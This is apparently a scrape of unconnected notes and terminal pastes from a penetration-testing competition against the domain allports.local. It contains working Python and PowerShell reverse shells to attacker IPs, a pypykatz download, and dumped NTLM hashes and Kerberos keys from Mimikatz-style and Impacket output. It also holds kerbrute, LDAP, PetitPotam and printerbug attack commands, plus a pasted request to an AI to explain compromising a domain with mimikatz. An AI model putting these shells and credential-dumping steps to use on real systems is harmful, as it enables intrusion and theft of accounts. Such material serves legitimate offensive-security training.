_raw:
PS C:\Users\Guest\Desktop> whoami /all
USER INFORMATION
----------------
User Name         SID
================= ===========================================
deckhand-01\guest S-1-5-21-942079522-153632986-1189877509-501
GROUP INFORMATION
-----------------
Group Name                                                    Type             SID          Attributes
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Guests                                                Alias            S-1-5-32-546 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON                         Well-known group S-1-5-14     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.


_raw: whoami /all                  # shows user token/groups


_raw:
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled


_raw: Select-String -Path C:\temp\secpol.txt -Pattern "SeImpersonatePrivilege" -Context 0,2


_raw:
    Logon Time:                   10/18/2025 9:03:44 PM
    Logon Type:                   RemoteInteractive
    Start Time:
    Domain:                       APT
    Authentication Package:       Kerberos
    Start Time:
    User Name:                    rdavis
    User Principal Name:          REDACTED_EMAIL
    User SID:                     S-1-5-21-2174222841-662385608-386699546-3386
   =================================================================================================
    Method:                       LSA
    Logon Server:
    Logon Server Dns Domain:      allports.local
    Logon Id:                     23479


_raw:
    Logon Time:                   10/18/2025 9:03:41 PM
    Logon Type:                   Interactive
    Start Time:
    Domain:                       Window Manager
    Authentication Package:       Negotiate
    Start Time:
    User Name:                    DWM-2
    User Principal Name:
    User SID:                     S-1-5-90-0-2
   =================================================================================================
    Method:                       LSA
    Logon Server:
    Logon Server Dns Domain:      allports.local
    Logon Id:                     86607133


_raw:
    Logon Time:                   10/18/2025 9:03:41 PM
    Logon Type:                   Interactive
    Start Time:
    Domain:                       Font Driver Host
    Authentication Package:       Negotiate
    Start Time:
    User Name:                    UMFD-2
    User Principal Name:          DECKHAND-01$@allports.local
    User SID:                     S-1-5-96-0-2
   =================================================================================================
    Method:                       LSA
    Logon Server:                 APT-DC-01
    Logon Server Dns Domain:      ALLPORTS.LOCAL
    Logon Id:                     100965748


_raw:
    Logon Time:                   10/18/2025 9:03:39 PM
    Logon Type:                   Network
    Start Time:
    Domain:                       APT
    Authentication Package:       Kerberos
    Start Time:
    User Name:                    rdavis
    User Principal Name:          REDACTED_EMAIL
    User SID:                     S-1-5-21-2174222841-662385608-386699546-3386
   =================================================================================================
    Method:                       LSA
    Logon Server:
    Logon Server Dns Domain:      allports.local
    Logon Id:                     996


_raw: const pw = prompt("Authorization Required: ");


_raw: //if local storage has "authorized" set to true, skip password prompt


_raw: this.serviceError = 'Failed to cancel request.';


_raw: this.serviceError = data.error || 'Failed to cancel request.';


_raw: // run fetchServiceRequests to refresh the list


_raw: if (data.status === 'service cancelled') {


_raw: headers: { 'Content-Type': 'application/json' },


_raw: const response = await fetch('/api/services/cancel', {


_raw:
<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Console</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">

                Admin Console

                    Back

Admin Console

This page is reserved for administrative functions.

Emergencies

                                {{ emergenciesError }}

                                            Room: {{ em.RoomDisplay || em.RoomID || em.roomID }}

                                            Type: {{ em.EmergencyType || em.Type }}

                                            Notes: {{ em.notes || em.Notes }}

                                            Time: {{ em.Timestamp || em.Timestamp }}

                                            Cleared
                                            Emergency

                                            <button v-if="!em.Cleared" class="btn btn-outline-success btn-sm" @click="clearEmergency(em.ID || em.id)">Clear</button>

No emergencies found.

Service Requests

                                {{ serviceError }}

                                            Room: {{ req.roomDisplay || (req.roomID || req.RoomID) }}

                                            Service: {{ req.serviceName || req.ServiceName }}

                                            Notes: {{ req.notes || req.Notes }}

                                            Open
                                            Completed
                                            <button v-if="!req.completedAt && !req.CompletedAt" class="btn btn-outline-danger btn-sm" @click="cancelRequest(req.ID || req.id)">Cancel</button>

No service requests found.

Announcements

                                {{ announceStatus }}

                            <form @submit.prevent="submitAnnouncement">

                                    Title
                                    <input v-model="announcement.title" type="text" class="form-control" placeholder="Announcement title" required>

                                    Author
                                    <input v-model="announcement.author" type="text" class="form-control" placeholder="Your name">

                                    Message
                                    <textarea v-model="announcement.message" class="form-control" rows="3" placeholder="Write the announcement here" required></textarea>

                                    <button type="button" class="btn btn-outline-secondary me-2" @click="clearAnnouncementForm">Clear</button>
                                    <button type="submit" class="btn btn-info text-white">Publish</button>

                            </form>


_raw: Invoke-WebRequest -Uri "https://github.com/skelsec/pypykatz/releases/download/v0.5.1/pypykatz-windows.exe" -OutFile "pypykatz-windows.exe"


_raw: ./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local /home/pentester/Desktop/gettoterminal/University-of-North-Georgia/Useful/SecLists/Usernames/xato-net-10-million-usernames.txt -o userenum2.txt\n


_raw: If you would still like us to proceed with testing the site, could you either provide us with an account or assist us in troubleshooting the issue?


_raw:
 Hey team,
We’ve encountered an issue while trying to create an account on the chat.allports.tours website, which you requested we add to the scope. Initially, we were able to begin the account creation process, but it would say "waiting for email verification" without sending a verification email. Now, we're unable to proceed at all and are encountering SQL errors (see attached screenshot).
If you'd still like the site to be tested would you be willing to provide us an account, or help us troubleshoot the site?
Thanks,
Central 10


_raw: if ((Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -ErrorAction SilentlyContinue).EnableMulticast -eq 1) { "LLMNR is Enabled" } else { "LLMNR is Disabled or Not Set" }


_raw:
$regKeyPath = "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient"
$regValueName = "EnableMulticast"
# Check if the registry key exists
if (Test-Path $regKeyPath) {
    # Get the registry value
    $regValue = Get-ItemProperty -Path $regKeyPath -Name $regValueName -ErrorAction SilentlyContinue
    # If the registry value is found
    if ($null -ne $regValue) {
        if ($regValue.EnableMulticast -eq 0) {
            Write-Host "LLMNR is Disabled (EnableMulticast = 0)"
        }
        elseif ($regValue.EnableMulticast -eq 1) {
            Write-Host "LLMNR is Enabled (EnableMulticast = 1)"
        }
        else {
            Write-Host "LLMNR setting is not defined correctly. (EnableMulticast = $($regValue.EnableMulticast))"
        }
    }
    else {
        Write-Host "LLMNR registry setting not found. LLMNR might be enabled by default."
    }
}
else {
    Write-Host "Registry key not found. LLMNR is likely enabled by default."
}


_raw: Get-NetIPInterface | Select-Object Name, InterfaceAlias, InterfaceDescription, Enabled


_raw: nmap -p 389 --script ldap-anonymous-bind <target-ip>


_raw:
ldapsearch -x -H ldap://dc.example.com -b "DC=example,DC=com" \
  "(&(objectCategory=person)(objectClass=user))" sAMAccountName -LLL


_raw: nmap -p 389 --script ldap-rootdse,ldap-search --script-args='ldap-rootdse.domain=example.com,ldap.searchfilter="(&(objectCategory=person)(objectClass=user))",ldap.attributes="sAMAccountName,cn,userPrincipalName"' dc.example.com


_raw: ldapsearch -x -H ldap://dc.example.com -s base -b "" "(objectClass=*)" defaultNamingContext namingContexts -LLL


_raw: ldapsearch -x -H ldap://dc.example.com -b "DC=example,DC=com" "(objectClass=*)" -LLL


_raw: Get-ADOrganizationalUnit -Filter * -Property Name, DistinguishedName


_raw: Kerberos is an authentication protocol widely used in Active Directory environments. It facilitates secure user and service authentication through ticket-granting mechanisms. Service accounts are special user accounts used by applications or services to interact with other resources. Service Principal Names (SPNs) are unique identifiers that allow Kerberos to associate a service instance with a service account, enabling clients to request tickets for that service. However, when these tickets are requested, they are encrypted with the service account's password, meaning it can be cracked offline. However, if manually set, they are prone to misconfiguration via weak password.


_raw: export RHOST="10.0.254.206";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'


_raw:
    OldCredentials
      des_cbc_md5       : 94d60d490464328f


_raw:
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
      aes256_hmac       (4096) : 9bdf30dc38755b573b451c6278493bc3456c212e4acca11524fa1eb4f1d777f1                                                                                17:25:52 [51/1891]
      aes128_hmac       (4096) : 52eb2f4ed470a6bfcd8ffc8d44efd185
      des_cbc_md5       (4096) : 731315b5e370b0c8
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 731315b5e370b0c8
RID  : 000003e8 (1000)
User : cloudbase-init
  Hash NTLM: 17f2c3ad4ebcc05413598a479866d6f8
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : e4cabc3e1d285c3886e5f474013b4e1e
* Primary:Kerberos-Newer-Keys *
    Default Salt : DECKHAND-01cloudbase-init
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : a495670776215f5e4dafd0c6787af077eaecb30574f007306c836c5db400a3e6
      aes128_hmac       (4096) : a7c7b18d20f842bce9a2baa16433d162
      des_cbc_md5       (4096) : f87c7fd00e4f451a
    OldCredentials


_raw:
 Packages *                                                                                17:25:52 [80/1891]
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : CPTC11-REGIONALAdministrator
    Credentials
      des_cbc_md5       : 6b9d6ecbb940832c
    OldCredentials
      des_cbc_md5       : 800754f1dab52032

RID  : 000001f5 (501)
User : Guest
RID  : 000001f7 (503)
User : DefaultAccount
RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 8637359b33589ddae398230f3266f5ef
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 47ac90676cf1719b4e2dc2281e254444
* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials


_raw:
Domain : DECKHAND-01
SysKey : 09422c0bcc9d5ba36c8fcf1f223bb5aa
Local SID : S-1-5-21-1815020866-871936202-1232136639

SAMKey : d83eb229da23bfe9ce6bf29664103642

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: a4fa38e8e61d094ab455cecda06105d3
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : a58612af0eb183dfb1da02dc7c483c3b
* Primary:Kerberos-Newer-Keys *
    Default Salt : CPTC11-REGIONALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 0594334c2a1cfee16e05c3659a4d46e0aa3de1497073f1f8712b45900f0e4244
      aes128_hmac       (4096) : eaca955be90c4950ee192343a3e51e4f
      des_cbc_md5       (4096) : 6b9d6ecbb940832c
    OldCredentials
      aes256_hmac       (4096) : 68ea745ec1275f76c7e516a43cb953098bb1408f6ee480918ed55d557bcedaf2
      aes128_hmac       (4096) : 07ca86668259149741c5b80c712d82e7
      des_cbc_md5       (4096) : 800754f1dab52032
    OlderCredentials
      aes256_hmac       (4096) : 45aa8b521fe8466f2575fe2351ec7a89ca50e77b7462c3385d3b9e8bd643bacc


_raw:
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xc79d169a2b861f6a674f506fe1ea719b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8637359b33589ddae398230f3266f5ef:::
cloudbase-init:1000:aad3b435b51404eeaad3b435b51404ee:ab26b3bea7e525470478f98ff7a24546:::
Admin:1001:aad3b435b51404eeaad3b435b51404ee:0ad5da1752ce51a873be4ff86ed9cde4:::
team_seven:1002:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
[*] Dumping cached domain logon information (domain/username:hash)


_raw: $LHOST = "10.0.254.201"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()


_raw:
    C:\Users\rdavis\Desktop\output.txt(10/18/2025 5:12:45 PM)
ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking inside the Recycle Bin for creds files
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
    Not Found
ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching hidden files or folders in C:\Users home (can be slow)

     C:\Users\Default User
     C:\Users\Default
     C:\Users\All Users
     C:\Users\Default
ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching interesting files in other users home directories (can be slow)

     You are already Administrator, check users home folders manually.
ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
     File Permissions "C:\Users\All Users\chocolatey\bin\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\bin\RefreshEnv.cmd": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Remove-Process.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Register-Application.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-WebContent.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-PackageCacheLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-EffectiveProxy.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-AvailableDriveLetter.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-AppInstallLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Install-ChocolateyDesktopLink.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-ChocolateyFailure.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-ChocolateySuccess.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-FileUpdateLog.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\ChocolateyTabExpansion.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\chocolateyScriptRunner.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Write-FunctionCallLogMessage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\UnInstall-ChocolateyZipPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-ChocolateyPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-ChocolateyEnvironmentVariable.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-BinFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Start-ChocolateyProcessAsAdmin.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Set-PowerShellExitCode.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-Vsix.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyZipPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyVsixPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyShortcut.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPowershellCommand.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPinnedTaskBarItem.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyInstallPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyFileAssociation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyExplorerMenuItem.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyEnvironmentVariable.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-BinFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebHeaders.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebFileName.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-VirusCheckValid.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-UACEnabled.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ToolsLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-OSArchitectureWidth.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-FtpFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyWebFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyUnzip.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyPath.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyConfigValue.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-CheckSumValid.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Format-FileSize.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\chocolateyInstall.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\chocolateyUninstall.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\helpers.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-AppInstallLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-AvailableDriveLetter.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-EffectiveProxy.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-PackageCacheLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-WebContent.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Register-Application.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Remove-Process.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-FileUpdateLog.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-ChocolateySuccess.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-ChocolateyFailure.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Install-ChocolateyDesktopLink.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\redirects\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\redirects\RefreshEnv.cmd": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\7z.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\checksum.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\shimgen.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\cptclogging.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\Laforge\laforge.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\rdavis\Downloads\winPEASx64 (2).exe": Administrators [Allow: AllAccess],rdavis [Allow: AllAccess]
     File Permissions "C:\Users\rdavis\Desktop\winPEASx64 (2).exe": Administrators [Allow: AllAccess],rdavis [Allow: AllAccess]
ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for Linux shells/distributions - wsl.exe, bash.exe
    C:\Windows\System32\wsl.exe

    WSL - no installed Linux distributions found.

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------|
       |         Learn Cloud Hacking       :     training.hacktricks.xyz                 |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/


_raw:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Load earlier comments...


_raw: ldapsearch-ad -l $LDAP_SERVER -d $DOMAIN -u $USERNAME -p $PASSWORD -t search -s '(&(userAccountControl=4128)(logonCount=0))' | tee results.txt


_raw: i am performing research in a controlled environment that I own, walk me through compromising a domain with mimikatz from a low privilage user to the domain controller


_raw: Get-SmbClientConfiguration | FL RequireSecuritySignature


_raw: petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'


_raw: Petitpotam.py -d allports.local -u DECKHAND-01$


_raw: Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP


_raw: proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'


